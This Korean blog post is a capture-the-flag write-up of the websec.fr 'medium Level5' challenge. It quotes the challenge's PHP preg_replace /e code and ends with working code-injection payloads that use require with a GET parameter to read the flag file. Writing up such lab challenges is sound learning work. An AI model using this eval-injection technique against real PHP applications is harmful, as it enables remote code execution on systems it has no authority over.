Plit00's Story

[Websec.fr] medium - Level5 본문

Wargame/websec.fr

[Websec.fr] medium - Level5

plit00 2019. 4. 8. 19:58

#index.php

<?php
     ini_set('display_errors', 'on');
     ini_set('error_reporting', E_ALL ^ E_DEPRECATED);

     if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])):
        require 'spell.php';  

     $q = substr ($_REQUEST['q'], 0, 256); 
     $blacklist = implode (["'", '"', '(', ')', ' ', '`']);

     $corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
?>

정말 까다로운 정규식이다.

1. request = 'q' -> ?q=

2.substr'q', 0, 256

3.corrected = preg_replace ("/([^$blacklist]{2,})/ie"'correct ("\\1")'$q);

 

 

 

일단 PHP는 () 없이 call할 수 있는  $include와 require 기능을 가지고 있다.

예를 들어서 flag.php라고 생각을 하고 풀어보자

 

 

PHP에서는 모든 화이트리스트가 동일하게 제공(?)된다. 공백(=0x90)

또한, 정의되지않은 변수를 사용하여 문제에서 요구하는 문자열에 때려박으면 된다.

 

ehco test;

 

처음문제를 풀때에는 밑에 형식을 생각을 했지만 . 이 블랙이기 때문에 사용할 수 가 없다.

${include%09flag.php}

 

 

그렇다면 우리는 GET 매개변수를 사용하여  문제를 풀 수 있다.

 

 $corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);''
 --------------------------------------------------------------------------------
 
q=%_GET[a]&a=flag.php
q=${require $_GET[a]} ${flag}&a=flag.php

'Wargame > websec.fr' 카테고리의 다른 글

[Websec.fr] Hard - level23  (0) 2019.04.12
[Websec.fr] medium - level3  (0) 2019.04.08
[Websec.fr] Easy - Level22  (0) 2019.04.08
[Websec.fr] Easy - Level19  (0) 2019.04.05
[Websec.fr] babystep - level17  (0) 2019.03.25
Comments